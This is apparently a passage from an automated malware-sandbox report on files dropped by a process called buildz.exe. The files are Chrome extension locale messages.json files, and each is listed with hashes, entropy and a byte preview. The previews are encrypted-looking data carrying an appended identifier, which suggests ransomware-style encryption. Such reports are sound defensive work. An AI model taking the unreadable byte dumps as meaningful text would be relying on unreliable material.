7..1...^..B.#.8y..Q.>..v.-....0CE.......K..L<.e!#......Z...'......T..i...=..:.!..tc.ts...Qm.....}....Q..B.`.B.^..NuK...B.=.N.[N.gl..n9gXs.;...u.D.t...6...S!......2[..E....7....N....z....u\|W.bb.....S...x.A.....<....6e....:.Y..:.W...p.e..,`DV.."Y...0...b....;;K.,.}....N...Z.k[...'..L....Us.\|...i.$.].3D.c........._..\|....j..8v^...m.N6.......0.}...TMy.].6hL....e(.%h..ap'a.\>Z)..J...C....-4.Z....A....CCg._.=c..y.N.....%~.FR.o...w>.w..Q.'/Tj.j...T.....$.^.p...J3....X..W...s...u6@._...&....w.....pd.S......@[........@1wBR8...w....Z.fH.q..=.G..k..^^.(....."X..4Z.S.j.}......j{..W..D[...S..".I......+.U..I..xu.h..}.Z.U.mm...;UG.n.;..j.k..."i.^..S..BF.b.w.]....f..d.....E.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\hr\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	952
Entropy (8bit):	7.768733413281602
Encrypted:	false
SSDEEP:	24:cJPYeeEyTk+zNMpX2LaI+WbM+9DvHMu82NF4K1bD:cJPzPyTh82LJFbMiPl82j3D
MD5:	9D5200A5565C4C7BDD4FC624B3A23306
SHA1:	930511B07D497C20650712062623C7CE427F6177
SHA-256:	DF3ADD2C4FDDAB74EA968F19F7CA53E0585BECE70D6568AD68CFB927ED6497D3
SHA-512:	BA0012AB3372CA3AEC1C4856A49406A4959C6BE1C65B4DEA24D7B39B2750EB0982AC3ABAFCFA32C666D9E27E17E7A988B624177ACEC07CBE30CE87555972714D
Malicious:	false
Reputation:	unknown
Preview:	{.. ..m<.j..Sd5...Xb..C.."iF.....:HI.fj.....c.\|...l.7.M...&?..~.......a.Ir.v.......[..{6z1....U#.".?_r.Td.c..w..3P...B.p/b-].6...E{. ].tQ."1+.2.!..J..s.>G_{..dUfq...5lI)0.\.z]......9..W\|@}G.5/;.......x.......0r...o...b.9.>....<....!@g..9.....EP..UY....C"....5!%P?..0.jb..?...6.8H.)c.x...2;^.b..\|F.5....Zx.IW.yAW..l.=....$.!..K.#.<.3...9.-.....5/.\|}....HLJ..m...)..Y..I.D...mT.\.....Zp'........-...p...o..8..i.....}..u.......~.{(..+......JRW0.gG...E........Z..W.^..Vdbj..!:.5~'...+..G2..5.\|..a..B,..m..].,pS.Ou..tl.z.7]j=...eo..q^].p..y?jj-.B.\|.....m...]g.!.q.eq...D6S....;H..;....;....<.Il..Z.....m/DbP.vNc3....6...n..i2....zN.!q.8a.H...n".......:.y..k!...S...V3..Dt...g.JC...J.D_.......,.~..AD.<0.'.]..#..IT..,e..>..... .K.......?......bz..4.?Hy...p...L.....x...d./....O...a. w...E.!...^D.z..)..$hN.z...}..,...}....S_.].(.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\hu\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1017
Entropy (8bit):	7.789278556071295
Encrypted:	false
SSDEEP:	24:DMndobR+63GAhK2JsW/aeSQyxn8gOuEXSYixEXlIVKHbD:DM2zWAKpW/aeQn8RXGqiOD
MD5:	F5AAF33FAA77AF9B19B779BF648EB49B
SHA1:	76EC414FC2F301BE3A3F324D3155BFB318237682
SHA-256:	35F414A2769A47B127BF1E050AC756B4EF84A2EF4F4EE45C7722E70E6EEE82D1
SHA-512:	3D475CB6CEED98D3AF0894F5D39AC67BC8A7B909A1A9ADB161DB886C501BD13EDA068A43EA02C32DEE3DE6A71BC8B0DFC81058085EC82F7CE0FA38C24C1E9718
Malicious:	false
Reputation:	unknown
Preview:	{.. e#X..`t......6... ...../..m..9....qp..=:6...[...2'..c.`.O...I`.\|#;..L....U..N.Z.9..y..G.2z.<...7.D..a.3...5.m.Z!...&.V..n..'..&.\|l$..F....4o.').\|.Q....y...........bMI....<a.(..vq..U.......`.A..^..Z&..eR..`G$i....U..Kk.T.....0.Pp].J.%'.#....F..rb..A..3q...2..nk.8n...1/..0...I.@\.....k"e.......`..EL0...1....(4.....v...../..3.A.6.o......x.2U..2A p..H.i..C..AM.R..=dW..........JE...EO...n..f....',...{D.s:....(..ls.Y.....O.Q7y..2CA.P=Y..Td.+fM/.J.eu..P.4..?...X..-....("/.J..C..~...=&N.1;;.!...n...@....S/....&$.TC..R.....A.7.b.wVF.{....a.V...(.io..,9k.#I.........!/..jb^..M......-[.....'.~8.j.[D...\.....9O..d..tH.%.....-.&B.....d.x5......`....P.x..x..5..sir....8..}..}.(.&m...K:......6....$+......7...(.?..f..t...'...S..M....._(...7_..VM...Y..5...T.8.1.X.......6....Zs.q.RS9[V..G&.]~k;9..L.....M....A./...../9H..\|2m....$..ao5..}..l`.M....9...p........Y~`..8.3pv...px.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-B

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\id\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	938
Entropy (8bit):	7.793521564205765
Encrypted:	false
SSDEEP:	24:3M1ILbggrj7c/gO9+/LKXzYdPtoPaMh2PjMMbD:NL/X7egOPX05toNIPDD
MD5:	08AF8CA17EA59DAE1C01CB66431DA021
SHA1:	BDEB85F8B63A5E56BC73B8B3CD61B41545DE110C
SHA-256:	48E2E254D3C108CC75AE366324B8D1EBF6B1CC65CA0B54E9D0353D18509E594C
SHA-512:	EBEA70D557FC3BF1E9084F8B529707BDA65833C60A2E85C0CA543423482AE4AF8DFA5CC141735B7CA91B258F7CE4D0BC0416B377FA9837B8035D2065CAB27AB5
Malicious:	false
Reputation:	unknown
Preview:	{.. O.q.#.#8......LWZH..w.3..gv....u........_.!....t.)9.I..t]..,.k.m.<+..............7.2..\.....X,_._..X.".".q.\|g...x\X*.....76h.i..=.....F_`.v..(aP.l...U..[....v....u.."....5.......#19..e..g^U.X. ...x+'.."..&.....Vd.Np5.vM.w}..x)....f.r.(o.+.._...z<......%.?..z.ec.o........2K......@..4J.M.k...x......#I@i.}"G.-~,....?....@..:F..Zk8...Ex.-..X..K...C..%.......O$ ..;..0d./.O._FF.R...O.s....\..Xn..N....\|.Y.m.E...`....).!..........C#.../. ........+..4r..._..6.k....%".(.dY{....+q......w.......0..6t.J....;"P.g..>..).,...ef4.5....n...R&.n..X-.Y..?Q....`&(p8.1..g%.7.3.^?.C..'C.../.Wb.....b.q$..F...^...r6...U...5l.B...s.."..Hu.yV(Yu<......E.f....7..r?6.....NH........9. ..q.......l..^V..#h....,.O....D=.s...s..<.t..#.#.s.:I$....+.\|....._..].......x,c.P..-...P.....xk..-f..."bI..<........$.....K..{.mSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\it\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.778217316471472
Encrypted:	false
SSDEEP:	24:axvLlYOeYnfHLge1Kzn48fwwfi8etL3jmsbD:aBLKqHLsj42wwCL3rD
MD5:	A2FE86B174CF8788B3A4272AD7BEAB04
SHA1:	05659A99FD9057CBA46429D2C899301D6021E6EF
SHA-256:	5F6A4017C0C64267C73853D4B7551DB9899A29E15AB1CFA5893274C1A3DACB75
SHA-512:	E92F5E2325BFC1380D5BFE9D3A631955EECCBBBA401E166A2E9450D95CE292C6F3DFBB1A27BB07ADC4BFDFD2025D0C9E69785A0ADC42654817CDBCBBA5B6A6B5
Malicious:	false
Reputation:	unknown
Preview:	{.. 9..\.I..g.a,&._...&..oX.>...@zi.........m9'....b]...o.q..OM..a.3@..P.S..lkBP.V".S.y..v..s@.]..('W..9r.P;F...K...m....Ur\|..6. ...5u.i...0...b.Y....:..z..$.<.~..B..[..?.}....`..Rc.....#.e...o+.k.....SMr)..a.J.y.i[1.v'.Y.......^.;N..(.B.......y..K....;.(......?_tbd,/...Eh.+.......'K.}....J0...mXr.a.f.o....c..$...lxe........?.,08.....'.E.....\|ECZ@.H.+3...-.o(......VF..X.E...G..W......g..Q}.O..O:..-.M....2.du..bm....7B<.n&3l.w...xjT.>"..a.IZ.v.62.j=..)..;..J..4O.R....W4@K..CI.GG....<.6D.a..`.Ks..g6.>b....-...f...uF..-.7xp.~..J_.TZf.8 ....C....(.A...(..N...;...y.LB.....".N.....r),+.J....z._Q..zm.nri`..r.U...:V(.M.{.....fF..C\M\.%?.$5ER....C.Vr.>H.....e..!`.../..6.\...}..c.@..... b2e.....ZFn..o.k~....By.~..\|......^-..\|.3)...i.3.2...=...p8dw.I+...C.]...~.P.mU.....i...q..zEP:.*.o[<ZZl...hB..M.%!..- O....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ja\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.7769670936567055
Encrypted:	false
SSDEEP:	24:BwCAHPLu449InNfOx+225GcMHAg6N8efsHEOtGzGoe9HbyHYg0fbD:BwCAvLu/km+751yAgc8ekdIaoWOHv0DD
MD5:	E47467DF8E13B40400993416CEAE59DF
SHA1:	4DE1FC532971F48E134DEF88F5F60FA5A749BF42
SHA-256:	E606997DAE983F0EE1BB7F1CE86B989793F111BADB4208C1F5EF01E1B13B93D2
SHA-512:	254038D3FBD0D70364942502A36078C67C455543437E925EFE52CD3226192806B7B17B17CAC28B0352EDF36E2A6EEF368EB4B4CC5541DD37BA54CB749DDCB72B
Malicious:	false
Reputation:	unknown
Preview:	{.. .gv.9..TE'.R..G.W.<....-......;..x.I...fQ...\..;.1..........M~.,&.L.v.D&......2....$@......D.4..W......;.$.H...C..K......D.[.uxw......=._....hlL>O..lC......2G...{....D-.....U.....C1..f..@....._.H.....~..j-...D..P.)..7..u..O...%..l.c.1..Z..B....B.=DI..m%(..f........^.E..a.....u...x...D...i.~.0i...L...$w....^B.P..(Z#q;...R. .8V..F.6t.J...K..S........I..'.Y..i)%=......hf%...j"....&[bl.c..e..}Z...../..g\.I...G..U........r..!.Ad...b...E.7.-....=.s.u.v.O.A>.....)...>...,.l1."{.y8_@djC.P...:.H...qA.Bx...mF:.....i......L...9./..LDl).G=X.....i..t.....G].....$.Y...z........?.Y....O._.W:.9.S[[:..a$:.kS......d..u......+H.L.....h..q.....\|...._.D.+GK.Uu]m.;...An...#3....2..\|...K...{.'..I.g.v...}n..e.w.......EV\.?....H<...._'.{.2=..".j.4....s.%....Y.._.e.d.~..j.Z..."...m!...U...Gy...m.........v....w4q.S............QSW.[....rz.'.u[......gCh....<x.......n._;..Y.Eq..P*..}k.....k..Y.qw..k0S..`.~. .O.........6LY.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ko\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.79707593028829
Encrypted:	false
SSDEEP:	24:Sqpm5DFSL/D/cxWODgPtdxU0laaE3dLOBNYg+pycA3CeQBbD:PpmAvc8O8vxtbEngKA3CpRD
MD5:	D27BDF5A7242CB01A6185751B9E1D642
SHA1:	C20BEE3AF49900A6A4D271CB8FF424D3BF50CAD1
SHA-256:	950087367BFFE957D9042412B6DCEE8AEF51D5A971D3C73B84C2D05672E5BD48
SHA-512:	ED86A389E8D5C45A6F34445BE7B7FCD4122F7E20C04F67BEB5F61B5F113187985F32185CD87F7D6A3967C97BEA425EC8F2C14F190FFDC7932720DA54C87AED0B
Malicious:	false
Reputation:	unknown
Preview:	{.. .XD.!Xl.......Q...p..=s.N......`.]0..Vi.O.K..T.......3.K.w...3..L.....y;..z.z..!.n.JWh=...#.E.n0..G..}q[.+........]`.r.s.....l..+...@..Q.u.b..S..........p..>...=.X..n...VR+.O6z....C...7.V.t".,.\|n$O....t`.=.g~j`'..Q9...b;.......;2.............td.Lr...#.u.<.......j.B..s..pw..].....8..B.d..e........'.3.Kh>...5e......{cohR..3..n........Uhe..E..z_.".]+......fM..u..d..V.....W....h.....N.....r(....O@....fF/J..*.t{mz9...(p.....2.y._-H=......V43@.V.....O\....Z...S.^..+....!..j'2.......(.<......#N.f.N....q.?..E...@.v.9..UF.Ry....d.=.N.@?..?D.4 }..n`EU.$I.J.......1Z.....N...W..j..k........./j.;....w..~.~...,L.....+:....I....r#..Z.J`.....R.bV...;.8z,,..E]...&`.lu..M...EVU1.P.Ko......y..jW.`..G]..W.^...Ee....j............p...1.+uC....8..j.o4...<R....Z......iqs....6...^..}&?..1.. .D.p6...G.....qw......^\.K...$h.,2"@S.#...n...L.TS..bQ.y.Z.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\lt\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	999
Entropy (8bit):	7.76209535658083
Encrypted:	false
SSDEEP:	24:+PHsJEzZu9DmVStPHFIShNm1ZUB5bWCL0CMqdOObD:YHsJE8btPlItWL0CMEOsD
MD5:	3229740720E99A9FDF01EECBA572FF0B
SHA1:	A655AB44A9D899146ED418C3E4D4A8EA6330DF10
SHA-256:	BA3AD50FE8BC83F425859A3DF0761744ED086E0F5DB2812BF60B74EFF45EB6CA
SHA-512:	A3A8D3D2DBF46015964114E9756D38A3871F8DC2BAB2C578F2EB539C4B9A98C625A002215E165B9FF18667550232BA433002CE561215CDC89B2FC64F659AE9E8
Malicious:	false
Reputation:	unknown
Preview:	{.. B..1T.........y..#hX....{S.t..CK'.u......<.J.9..k.f.........PeL..J.+..L.>.M..\|......\...;.@......I...d.....d._..?t.)....1.z\......8,g.[...AP..+T.........B...s...]}uQ0..;v..E..`...<..4.X-Zc..v..$.Y...K)FV...#.>.......o..?R....1M.<>.CZ.?...5.........>k....fAs..z.....U7D...X3.....-&.....z..i.g.\|..5.kS....}.;..\.75j}...J.7...Oy.- ...h.<s...d>..Z...:.oY/l.IO_...lm..M.G.2..v.<e..x....Ak..[.L:.;q..9..........vl.H.....?V.!k2.Z\.dP.....F.......6.d........x.$..(.B...W..=.`..x...8...d....j.oNl1...: ....'..+H..Y.+.>....xUX.t?....S.pg6N..Z.K.....Y.}...o%..?..kD.....}.j.b..B4.m...w.. .kr.h.T.4p.L...[z..W.;j.5.7"70..K...V.rRB(...2...6.%.Z-8.W..O........;(....0K..."..Y..ze.....!$.,..:7.^.7..Q9..NP...&.....3.>.x..d.l....e.2....8.]esc.[.A..(.'..4A"V.d..\|.j.W.4D'....2......`D.F{......V....I..}.#.Hm.^n....jy.i ....Q[...Ug.....tE.U..z....u....L.....o:.....A.."....._.J....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\lv\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1005
Entropy (8bit):	7.777214631733953
Encrypted:	false
SSDEEP:	24:zG7AzndtBfxDlii3oCHu4XW0r7/M9OqQRbD:FXBfxZpoCBXrDqQBD
MD5:	30CC4C1CF3F49B6670AB2337933FEF8F
SHA1:	5E49A0D7E6557BE34BB588FA9ED2F5970E52E992
SHA-256:	A6DD1906653334059ACF1DBBEEDAC3BAE9A5E88456378239BD6903BC604C8ABE
SHA-512:	9FCAC108812FF4DC049B04941DDC0D0D62C05B5B7B2ED8485C3D3593C449CB6A575C24B093877325A5984137B26CD85DB6571FF8E24F4CCCA8FB12520032C9FD
Malicious:	false
Reputation:	unknown
Preview:	{.. ....&Q._.p.U.0..>.k5`#cWN}$.x.....a.w/>........}.w.:.b..lz....\|~.6.g......B0..CjnGC.Y."o..P.uoo......yY.T$DP......./@...i....s1``x.x..p.v..N....{.V.jvC..XS.[k..u..j.....X.X.G...3.....t..s.J.l...s...b?..........z3yk}~..L.b.....!VH..qQ.?.=.57.b......B.G.W.......k..C....p......g3..T...Q.....x.>......U3....yT..(.....DW..c..AC.fN..^.....G..E.:....~....q.....-Mz.....T....A....Z.../$.]4....J.W.9.L^..jK.@.F.cY;.....7_.w?..)..,.9\ro$.q8........;.........K..l...u;E...h..r.<.P..[.^..H..!.1Y.L....0..L..}.ttj.h.]_!...t..OKV....2...k.C(.C2.{.t........;w....Y.T.......u6..<.R....q\.j..7E.......?.y...m.@.n-eSy.t.....:o.A......64...qU%.Z.-......4.../.@2....[.8Li.....V.l#:...Z.3....5.R.k.5\.O=....b....Z...C.)...`...l.%.:..@.w.~..,..dt.n.....!n#..\...{.NG./8.-.{..8.E.......,..V..b./.....tCV...q.5....0....d...K......>.F...fF.....0rz@...<.......S...V......VAL../b.[G.j....WEE..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\nb\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	958
Entropy (8bit):	7.751574728162476
Encrypted:	false
SSDEEP:	24:toG4s1Kp1r1hFyUuE3WwSnU8QOBb5pAHNDbD:tzKpx1hOdXU7O55pAHNXD
MD5:	0BCCBED4D50052ABFE61F91622B5B9AB
SHA1:	4E26B111858BD0AF9D030854317B4E4F935DC03A
SHA-256:	9D4981B81746F247149268F4B7A1332AE311B9D3A3C78C990EFDFDC96111DECA
SHA-512:	3F4C96227634A005FD9DA168970B1629B689F04C56A5516E280E783B67B10A675A79B4DA21D7E445C9C8FD251F3220EEAFBC6952D801B2783DD8DF57C3FD59AC
Malicious:	false
Reputation:	unknown
Preview:	{.. xH..].Q..K...C<....8.K.T.+..<3-....~...}U....>L.&$[[.@Y...(......q.....B.y.c.#(.r.k..JR.+A.....E..x...9/uX\|..{{..q...!..y.....F/.b.<...,.....#H....ITL_........#....[n..UC................>.EZ.r..t..P.ZfXBI..Z.......15.L..I9Y...p........!.\|....P.bb...$.1.-....g0h....j.. 14..nB.b@.`.u.F!O=.F.)....V.Q..SoV.]u.#.55.C<.C<.H......Z.P..];...z..h.E.<.w,..f....f.....[..... .....W.2.;.o..c3E...A[.6....$z......q3...].........}...6p.^.....&........].f.Ygx.)..b....i......X+...<>T....!......#d.7T.c.......z.!>u.....(<...&.t....^Zb....4.}#.~.l##e&T>.1z....4....\`T...8`.r...l.%>7...=..G..d!...#...=.y...%.+.])..[ .>..+...R....D_.}...+..9g..X(7......Ftp..(...".N....1"XK.?...Lw.\|S.&.l...J}:-...9.p....\|....[...8r.3...T/.<K..V...XI.....-.^~7..*..g.^..s...~D.....].<gw.....X.f..i4.8...ly....&8....T.U.Wn.y....7.\|.qz.b-..Y..!ycw...Wu....E[SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\nl\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	949
Entropy (8bit):	7.758148600867089
Encrypted:	false
SSDEEP:	24:lDzhpQyh0VHB+NZsUFz0WgVbYecEHM3fdYbD:QHB+50WEpAsD
MD5:	7668FEA2297903E8E79B0D81AC4D9B46
SHA1:	F922DCD0526666CB9A61C090B0E02F14E4541F24
SHA-256:	7AB9FCB39555037E28A1B6E156CFB6B39DBB762D16E14DFFBEE74F34403BD963
SHA-512:	8A2B276E8B8C608BBCC8C556E14FF3045F61CE05F1157140651D8544437567AE105635C85B99416BE8AB4657A3BFC868B9D1704CC847B93BFF21B92946D9DF7B
Malicious:	false
Reputation:	unknown
Preview:	{.. .V......;....."kaLL....~...\|.-IwG...J ..r..D5.\J...<..o........../.....:.8... ...`.....O....6...)(......H.Rx.2 ....C.<.v..R.<Y.....-.....E........Uj.........?NScr4......;.km..7.~.&.....Wq.....;..].....u...p.4-.;....6o.}.%/x..J.Vx.L..~....VT..)#.d...X...OA)L...+.o."0...wa3..k.XD.$.]<=.oW........5....=.1...6.lolM....t8.)"..D.t..1.={.RV..x..R...0I}Vo.....,...9..us..F.+..t..'.&HI......_.......8Q.<......w..Q.....i. x.v^.....op./.....X..#....;.hu./}.O.........J.i..&.4......2..z...\|Mji..M...T~)![\|&.ec..2$..D.;B}.q{<.N.~.V.J.j{...-.a1W{p..0.Ad.r^....xD...../Lp.[.ZH....]}%.5&+.Hiz$...)-..8..n....t...9.....u(.$.f....f.$.oq./........<.3.8.."...O{.4.....0>..A.....w......\....3.;.MNG.){.-:.e&.o.DX9..f\...K[=9,8.....\|.9<.g.r{y`.p.%..d...\...0....t.pQJD.~.._R.$..J.1.T.YY..3.....1.5...P.p..........E....d.K\..9n<J<D7.w..U<:.\|.1>.N..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\pl\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	970
Entropy (8bit):	7.778755873596755
Encrypted:	false
SSDEEP:	24:v1rD/nOqZYrSXMCZ8l5p+ABq8Svph8nPWfXC/GEx5YVSqlxbD:BnO6YOvZ8l2ACvpucXTExEJXD
MD5:	47C8D05A3C34B50E198AB06764B25B76
SHA1:	37F5D1B718A2B81E3193A6D6923D5308FAC8DAAC
SHA-256:	743F3C365C618FAD42E9C727F72E12FF97E2B2BAC5640A5B5D6AAB3094C5930A
SHA-512:	DF6BD659F86BB67631F4899F2A5EF3613EF24567901F3E49540A96809E9BB5B77FD5F207662035D8F945A4F148E0CACB642534F73993CC7DC165D870D793CAE3
Malicious:	false
Reputation:	unknown
Preview:	{.. ...@.w.E.l.].=.@.=N.3.Gd...5.((5Yob.'.x7.&p.R...$'.{.I0#\|..3D....W..P.qe.y..2.d.k..k..k.....v.qi......{..3b..=Yf4z...;.k....^.O...Eq.=V.n.c.m.y..$@V.ZV.u.%.=l>..f=..iP.f......O....U(i..R....U.Y..~.Y.Z...r......;..R.k.N.!....};...\.)0......oC.;.H...x.....jq/..A...w....;.f...5!h...p...7.....V.Wp.Y.g.3.....jp....... \[.z+...,Gs....T4<...W.%.W..S...e.b.......J....)..'..[^..!..g.qp.....H0...ZL........h.U...&R.z.Y^\...<...G."L3..N...UJ.@....oY.W..)...~!.]..!....O.1...Uc..,..EC5(b..~J...3.......-.4.3.{l$..J...!.+....R>.Zq.oe.C..&)#l.A9J....9. %<...g..../......._3.P.PF..r...Y..^...r..st..e.T.j5.R.Q.L.J......~_+..y.G.!..........>....../.^(....L.r.V..I.U.....R...w...W...b.O.y...r...R...a../.....}.....'....K8...X.%.T6..f$...{.q......m..:Xr.../.-.[....j.2....~dX.c..O.)..~.-....K..R.....J.f...,...t.vU.V..l\|.T...!...g.k.{\|W......l_....w..C9.....Dm)..d*.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\pt_BR\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	970
Entropy (8bit):	7.763482056183548
Encrypted:	false
SSDEEP:	24:qNpMZ1bNl0sj30Zb+sENdvZWDru7EiGxSONJimKJ1ZMKi8+fXbbD:qy770ZbiRWD67EiC/k1O5fD
MD5:	A14FC5610BFC3110B5A9A50214F65053
SHA1:	65FF4C7E5B099E77744F123A2CC884A192A5FC93
SHA-256:	5CC3ACCBF8342149BDAAFBA1D30BCA1BF0D6B6065622098F79C1D7EC248B9690
SHA-512:	22E875E07F57E4AC3112B96BF34431775169F9EA3C56F45DA5071865A71C56136822B4C81DBDBC2E612C060848342A0D11FD582DEF089765D812C8F3DCF7CC8F
Malicious:	false
Reputation:	unknown
Preview:	{.. ..u'..VP....C.s.t.c.:E.U3..( .p..5..i..Wd..667......!.3....Ji.6[..B...Z..'......NG...h.Q..Ae....I...B3....aq..S....i..~T`..'..x.....r..R.>.!........C..%..A~..tXN3.8..@ >x....t... ..N..2G=pT...1..._[UC.t.l.u..C.=....q...m..Q.$.e.........!^..?M..ek.Z..sZ.@..E.m.L'.5r....=~.\........tl.....3./...9....{..............x...d..r..N.2l ':.p.GLB.o.C#:......\|<gzk.@....E&.F[$R~M(.5m..;....+....P.O....ac........M..,...1w..LN8xgy........a2...@.].{..SL(j....j.KAG\t..i.P?.p\..H....T.ELx.,y.}.,....../.BT#.!... ....B.Q.j&....a..2..I+...y.ao....3..%.....<.1...A..4.g'E...-Z.T.6.b.C1....\|d1.....g.o...I....h.....;!........{^..#.K...b.X.1.g.....V.8]@.".P....-..E.1.1.;..9.0..k.....s0HB..G.3qo.....-....Rs....A..Z..m3d.T.]+)......D.N..._.F3..S.a.D..%.8.FA/C)K.I.A.k......y...&..L6..............7.....@......."..2...:..)..i....p.I.B.`...j*.fGbs.vGD...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\pt_PT\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	956
Entropy (8bit):	7.791824344334385
Encrypted:	false
SSDEEP:	24:JGm/SLSQJki4AMENKceSVGsS3CCjb9PFADZ3HA+bD:JV/SL2AMEN3VGsSbjpWF3H5D
MD5:	A84E459F7640D594CF5A025092A6CEC2
SHA1:	16B3376F8278AFD09B78B04375A1B185FBA95D58
SHA-256:	A13032EC2A27B1BFEA7B483764E34146C23F917A1BDAA80E976735BA1F8A7D95
SHA-512:	D3D8B662A8921330CF4946410E61BCA2DDF4F987306767A7D647B8103E31FE79C3C7D2E6C616F037A2D79C56D0225273D8637EEBDC8DD907FB0191ACFF3553F7
Malicious:	false
Reputation:	unknown
Preview:	{.. V.}oR:...%..:..p.....L}..;.2.'..*..w.4\|...GZ..\|...@.a.......M...1^R."..w..e......~.Q....E..!.@....%...=..n.n..R(]c.X.J.@.t.G..t.:<p-ql..s.....E.F]...ZNzz.....O.nb%kL..cJ...I.G!(.~...H..o6.B.&.r?.... .hd.X...j..bSL..Fd+...}.z.`.%[..tI._.1..'EO..l.e..u.......2...oL.^{.....n...+G...0.....Q...,y....b.a...@........D._ .....].a#..R..\....6.Vn....l.'.+l....g..../mp.....'.C$`.....y.n'...........0e9Iy]m.=.v...&...E.G\lwx..s.F...R0e.....H.....D.;C....jvw....:..s..a...R'..}l%S.....n...x.....:i.v.&..d.....7.....uV]...\g....C.....c.8.-..........>.\.......E..0P...s....h..W.i..v....i..%"6...(...........H.....}..XQ..g...o..x@.....7.{...e."....."\|r.m.....b..?..4.......O..$2./y.Q...8s.....L-..VJ.../TcW..Q.N.x......H..Y).[..(.Bcl......3...L...m...6./..q....`i.........Jx..WjB..6N....Z..8 ..K...I...Iu.M#$N..7..j..,..L..l..p./.nf.U..0U.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ro\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	975
Entropy (8bit):	7.794402626957763
Encrypted:	false
SSDEEP:	24:vTs/qnkpV0UJGsVx6fCg23VQ72Pr406ujmUHNn+7UbD:bsynk4CXxOS3VhJ66mUHNnnD
MD5:	85936E61E9B95833D649E84F47CAFD4C
SHA1:	9435020D84E2F2C6EBEECDE46B13DC5C25E3CC5B
